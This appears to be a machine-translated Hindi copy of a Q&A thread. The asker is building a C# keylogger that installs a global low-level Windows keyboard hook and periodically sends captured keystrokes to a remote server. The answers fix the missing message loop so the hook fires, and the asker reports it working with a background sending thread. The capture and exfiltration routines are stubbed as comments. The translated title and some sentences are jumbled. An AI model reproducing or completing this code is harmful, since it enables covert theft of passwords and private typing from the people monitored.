2011-04-07 14 views
5

में निम्न स्तर कीबोर्ड कीबोर्ड हुक नहीं कहा जा रहा है, मैं सी # में एक कीलॉगर लिख रहा हूं लेकिन कीबोर्ड कार्यक्रमों से मेरी हुक विधि को प्राप्त करने में कुछ परेशानी हो रही है। मेरा कोड सही दिखाई देता है लेकिन किसी कारण से कॉलबैक नहीं हो रहा है।.NET अनुप्रयोग

यहाँ प्रासंगिक कोड है:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); 

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr GetModuleHandle(string lpModuleName); 

private const int WH_KEYBOARD_LL = 13; 
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); 
private static IntPtr HookHandle = IntPtr.Zero; 

static void Main() 
{ 
    /* install low level global keyboard hook */ 
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0); 

    /* every 60 seconds, process collected keystrokes */ 
    for (;;) 
    { 
     Thread.Sleep(60000); 
     SendKeyData(); 
    } 
} 

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) 
{ 
    /* code to handle key events would be here */ 

    return CallNextHookEx(HookHandle, nCode, wParam, lParam); 
} 

private static void SendKeyData() 
{ 
    /* code to send accumulated keystroke data to remote server would be here */ 
} 

SetWindowsHookEx कॉल देता है एक हैंडल (यानी एक अशक्त नहीं) के रूप में यह होना चाहिए, तो यह मतलब यह होना चाहिए कि यह स्थापित किया गया है, लेकिन जब मैं HookCallback में एक ब्रेकपाइंट डाल , यह कभी नहीं पहुंचा है।

क्या कोई सलाह दे सकता है कि मैं क्या गलत कर रहा हूं?

+1

यदि आप 'के लिए' ब्लॉक पर टिप्पणी करते हैं तो यह काम करता है? –

+0

अगर मैं ऐसा करता हूं तो प्रक्रिया तुरंत समाप्त नहीं होती है। –

+2

लूप के लिए अनंत के बजाय टाइमर का उपयोग करना शायद एक बेहतर अभ्यास है। कम से कम एक टाइमर के साथ यदि आवश्यक हो तो आप इसे रोक सकते हैं। – jlafay

उत्तर

4

ऐसा लगता है कि आप एक कंसोल एप्लिकेशन लिख रहे हैं। यह एक फॉर्म एप्लीकेशन होना चाहिए, क्योंकि आप विंडोज़ इवेंट्स को संभालने वाले हैं। बस फॉर्म छुपाएं, और इसे काम करना चाहिए।

के रूप में एक काम के आसपास कंसोल अनुप्रयोगों के लिए, आप अपने पाश में Application.DoEvents() कह सकते हैं:

for (;;) 
{ 
    Thread.Sleep(1); 
    Application.DoEvents(); //Process event queue 
    SendKeyData(); 
} 

अच्छा, बुराई नहीं करने के लिए इस का उपयोग करें।

+0

एक मिनट के लिए सोएं, यह हुक टाइमआउट यात्रा करने जा रहा है। 45 एमसीसी एक खुश संख्या है। आवेदन। रुन() बेहतर है। –

+0

बहुत धन्यवाद! आप दोनों के उत्तरों के संयोजन ने मुझे एक सफल परिणाम के लिए प्रेरित किया। मुझे एहसास नहीं हुआ कि मुझे एक स्पष्ट संदेश लूप की आवश्यकता है। अब मेरा प्रोग्राम एप्लिकेशन.रुन() को ऐसा करने के लिए कॉल करता है, और पृष्ठभूमि डेटा के माध्यम से एक अलग थ्रेड का उपयोग करके महत्वपूर्ण डेटा भेजना (और सिंक्रनाइज़ किए गए कतार के माध्यम से दो धागे के बीच संचार) किया जाता है। मैं अपने प्रश्न को कामकाजी कोड के साथ अपडेट कर दूंगा। –

+0

यदि आपको 'नींद' उपयोग 'नींद (1) 'का उपयोग करने की आवश्यकता है। यह कोड सभी कीबोर्ड इनपुट में देरी करता है, और IMH दोनों 45ms @HansPassant के रूप में सुझाव दिया गया है, और 450ms अस्वीकार्य हैं। सही समाधान एक अवरुद्ध संदेश प्रेषण होगा, लेकिन यह नहीं पता कि सी # में कंसोल एप्लिकेशन में इसे कैसे करें, बिना Winapi फ़ंक्शंस को कॉल किए। – CodesInChaos

0

कोशिश

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName) 

साथ GetModuleHandle (शून्य) की जगह और है कि अगर काम कर देता है देखते हैं। ध्यान दें कि GetCurrentProcess() से प्राप्त प्रक्रिया ऑब्जेक्ट और मेन मॉड्यूल से लौटाई गई प्रोसेस मॉड्यूल ऑब्जेक्ट दोनों डिस्पोजेबल हैं ताकि आप उन्हें चर के रूप में घोषित कर सकें और फिर मैन्युअल रूप से उनका निपटान कर सकें; इससे भी बेहतर, उन्हें using ब्लॉक में रखें।

+0

आपके उत्तर के लिए धन्यवाद लेकिन यह समस्या नहीं थी - हालांकि मुझे शुरुआत में SetWindowsHookEx के पैरामीटर के साथ समस्या थी, गलती से थ्रेड आईडी के लिए पैरामीटर डालने पर भी मुझे वैश्विक हुक के लिए वर्तमान प्रक्रिया के मॉड्यूल हैंडल की आवश्यकता थी। –

संबंधित मुद्दे